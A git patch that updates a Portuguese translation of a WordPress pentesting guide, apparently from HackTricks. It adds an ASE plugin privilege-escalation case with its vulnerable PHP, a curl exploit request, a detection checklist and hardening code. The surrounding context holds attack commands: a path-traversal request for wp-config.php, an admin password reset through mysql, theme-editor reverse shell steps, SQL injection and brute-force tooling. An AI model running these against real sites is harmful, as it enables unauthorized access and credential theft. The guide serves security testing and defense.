From c093d23cb44a588d3c2132dae930a246a978bbf4 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 16:36:56 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/wordpress.md --- .../pentesting-web/wordpress.md | 108 ++++++++++++++---- 1 file changed, 86 insertions(+), 22 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index ace697bda..6b263fe23 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -12,7 +12,7 @@ - No **wp-config.php** você pode encontrar a senha root do banco de dados. - Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Arquivos Principais do WordPress** +### **Principais Arquivos do WordPress** - `index.php` - `license.txt` contém informações úteis, como a versão do WordPress instalada. @@ -62,8 +62,6 @@ curl https://victim.com/ | grep 'content="WordPress' - Arquivos JavaScript -![](<../../images/image (524).png>) - ### Obter Plugins ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -85,7 +83,7 @@ Você provavelmente não conseguirá encontrar todos os Plugins e Temas possíve ### Usuários -- **ID Brute:** Você obtém usuários válidos de um site WordPress forçando os IDs dos usuários: +- **ID Brute:** Você obtém usuários válidos de um site WordPress forçando IDs de usuários: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -132,9 +130,9 @@ Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitaç ``` -A mensagem _"Nome de usuário ou senha incorretos"_ dentro de uma resposta de código 200 deve aparecer se as credenciais não forem válidas. +A mensagem _"Nome de usuário ou senha incorretos"_ dentro de uma resposta com código 200 deve aparecer se as credenciais não forem válidas. -![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) +![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) @@ -174,7 +172,7 @@ Também há uma **maneira mais rápida** de forçar credenciais usando **`system **Bypass 2FA** -Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Assim, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais contornando 2FA**. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir chegar ao RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Assim, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode conseguir abusar do xmlrpc.php para fazer login com essas credenciais contornando o 2FA**. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir chegar ao RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS ou varredura de portas** @@ -210,10 +208,10 @@ Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprende ### wp-cron.php DoS Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\ -Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, então pode ser usado por **atacantes** para **causar** um **DoS**.\ +Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, podendo ser usado por **atacantes** para **causar** um **DoS**.\ Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS). -É recomendado desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas). +Recomenda-se desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas). ### /wp-json/oembed/1.0/proxy - SSRF @@ -229,9 +227,9 @@ Esta é a resposta quando não funciona: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** e se existir, tenta explorá-los. +Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** e, se existir, tenta explorá-los. -## Automatic Tools +## Ferramentas Automáticas ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) @@ -246,7 +244,7 @@ return new WP_Error( ``` ## **Painel RCE** -**Modificando um php do tema usado (credenciais de administrador necessárias)** +**Modificando um php do tema utilizado (credenciais de administrador necessárias)** Aparência → Editor de Tema → Template 404 (à direita) @@ -289,23 +287,23 @@ Provavelmente isso não fará nada aparentemente, mas se você for para Mídia, ![](<../../images/image (462).png>) -Acesse-o e você verá a URL para executar o reverse shell: +Acesse-o e você verá a URL para executar o shell reverso: ![](<../../images/image (1006).png>) -### Fazendo upload e ativando plugin malicioso +### Carregando e ativando plugin malicioso Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e pode ser explorado para obter um web shell. Este processo é realizado através do painel do WordPress da seguinte forma: 1. **Aquisição do Plugin**: O plugin é obtido de uma fonte como o Exploit DB como [**aqui**](https://www.exploit-db.com/exploits/36374). 2. **Instalação do Plugin**: -- Navegue até o painel do WordPress, em seguida vá para `Painel > Plugins > Fazer Upload do Plugin`. +- Navegue até o painel do WordPress, em seguida vá para `Painel > Plugins > Carregar Plugin`. - Faça o upload do arquivo zip do plugin baixado. 3. **Ativação do Plugin**: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do painel. 4. **Exploração**: - Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado, pois é conhecido por ser vulnerável. - O framework Metasploit fornece um exploit para essa vulnerabilidade. Carregando o módulo apropriado e executando comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site. -- É importante notar que este é apenas um dos muitos métodos para explorar um site WordPress. +- Observa-se que este é apenas um dos muitos métodos para explorar um site WordPress. O conteúdo inclui auxílios visuais que retratam os passos no painel do WordPress para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como testes de penetração com permissão explícita. @@ -313,7 +311,7 @@ O conteúdo inclui auxílios visuais que retratam os passos no painel do WordPre ## De XSS a RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações, confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para versões do WordPress 6.X.X, 5.X.X e 4.X.X e permite:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma **vulnerabilidade de Cross-Site Scripting (XSS)** para **Execução Remota de Código (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações, confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para versões do WordPress 6.X.X, 5.X.X e 4.X.X e permite:** - _**Escalação de Privilégios:**_ Cria um usuário no WordPress. - _**(RCE) Upload de Plugin Personalizado (backdoor):**_ Faça o upload do seu plugin personalizado (backdoor) para o WordPress. - _**(RCE) Edição de Plugin Integrado:**_ Edite Plugins Integrados no WordPress. @@ -330,7 +328,7 @@ Alterar a senha do administrador: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` -## Pentest de Plugins do Wordpress +## Wordpress Plugins Pentest ### Superfície de Ataque @@ -345,7 +343,7 @@ Estas são as funções que podem ser usadas para expor uma função em um plugi add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**O uso de `nopriv` torna o endpoint acessível a qualquer usuário (mesmo não autenticados).** +**O uso de `nopriv` torna o endpoint acessível a qualquer usuário (mesmo os não autenticados).** > [!CAUTION] > Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função está apenas verificando se o usuário está logado, geralmente não está verificando o papel do usuário. Assim, usuários com baixos privilégios podem ter acesso a ações de altos privilégios. @@ -446,11 +444,75 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ --- +### Escalada de privilégio via restauração de função obsoleta e autorização ausente (ASE "Ver Admin como Função") + +Muitos plugins implementam um recurso de "ver como função" ou troca temporária de função salvando a(s) função(ões) original(is) na meta do usuário para que possam ser restauradas posteriormente. Se o caminho de restauração depender apenas de parâmetros de solicitação (por exemplo, `$_REQUEST['reset-for']`) e uma lista mantida pelo plugin sem verificar capacidades e um nonce válido, isso se torna uma escalada de privilégio vertical. + +Um exemplo do mundo real foi encontrado no plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). O ramo de redefinição restaurou funções com base em `reset-for=` se o nome de usuário aparecesse em um array interno `$options['viewing_admin_as_role_are']`, mas não realizou uma verificação `current_user_can()` nem uma verificação de nonce antes de remover as funções atuais e re-adicionar as funções salvas da meta do usuário `_asenha_view_admin_as_original_roles`: +```php +// Simplified vulnerable pattern +if ( isset( $_REQUEST['reset-for'] ) ) { +$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); +$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; + +if ( in_array( $reset_for_username, $usernames, true ) ) { +$u = get_user_by( 'login', $reset_for_username ); +foreach ( $u->roles as $role ) { $u->remove_role( $role ); } +$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); +foreach ( $orig as $r ) { $u->add_role( $r ); } +} +} +``` +Por que é explorável + +- Confia em `$_REQUEST['reset-for']` e em uma opção de plugin sem autorização do lado do servidor. +- Se um usuário anteriormente tinha privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o caminho de redefinição. +- Em algumas implementações, qualquer usuário autenticado poderia acionar uma redefinição para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada). + +Pré-requisitos do ataque + +- Versão vulnerável do plugin com o recurso habilitado. +- A conta alvo tem um papel de alto privilégio obsoleto armazenado nos metadados do usuário de usos anteriores. +- Qualquer sessão autenticada; nonce/capacidade ausente no fluxo de redefinição. + +Exploração (exemplo) +```bash +# While logged in as the downgraded user (or any auth user able to trigger the code path), +# hit any route that executes the role-switcher logic and include the reset parameter. +# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. +curl -s -k -b 'wordpress_logged_in=...' \ +'https://victim.example/wp-admin/?reset-for=' +``` +Em versões vulneráveis, isso remove os papéis atuais e re-adiciona os papéis originais salvos (por exemplo, `administrator`), efetivamente escalando privilégios. + +Lista de verificação de detecção + +- Procure por recursos de troca de papéis que persistem “papéis originais” na meta do usuário (por exemplo, `_asenha_view_admin_as_original_roles`). +- Identifique caminhos de redefinição/restauração que: +- Leiam nomes de usuário de `$_REQUEST` / `$_GET` / `$_POST`. +- Modifiquem papéis via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`. +- Autorizem com base em um array de opções de plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator. + +Fortalecimento + +- Aplique verificações de capacidade em cada ramificação que altera o estado (por exemplo, `current_user_can('manage_options')` ou mais rigoroso). +- Exija nonces para todas as mutações de papel/permissão e verifique-os: `check_admin_referer()` / `wp_verify_nonce()`. +- Nunca confie em nomes de usuário fornecidos pela solicitação; resolva o usuário alvo no lado do servidor com base no ator autenticado e na política explícita. +- Invalide o estado de “papéis originais” em atualizações de perfil/papel para evitar restauração de privilégios altos obsoletos: +```php +add_action( 'profile_update', function( $user_id ) { +delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); +}, 10, 1 ); +``` +- Considere armazenar um estado mínimo e usar tokens temporários com capacidade limitada para mudanças de função. + +--- + ## Proteção do WordPress ### Atualizações Regulares -Certifique-se de que o WordPress, plugins e temas estão atualizados. Também confirme que a atualização automática está habilitada no wp-config.php: +Certifique-se de que o WordPress, plugins e temas estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); @@ -474,7 +536,7 @@ Também, **instale apenas plugins e temas do WordPress confiáveis**. ### Injeção SQL não autenticada via validação insuficiente (WP Job Portal <= 2.3.2) -O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que, em última análise, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`: +O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que, em última instância, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -525,11 +587,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -O servidor responde com o conteúdo de `wp-config.php`, vazando credenciais do banco de dados e chaves de autenticação. +O servidor responde com o conteúdo de `wp-config.php`, vazando credenciais do DB e chaves de autenticação. ## Referências - [Vulnerabilidade de Exclusão de Arquivo Arbitrário Não Autenticada no Tema Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Múltiplas Vulnerabilidades Críticas Corrigidas no Plugin WP Job Portal](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) +- [Caso Raro de Escalação de Privilégios no Plugin ASE Afetando Mais de 100k Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) +- [Mudança 7.6.3 do ASE – excluir funções originais na atualização do perfil](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) {{#include ../../banners/hacktricks-training.md}}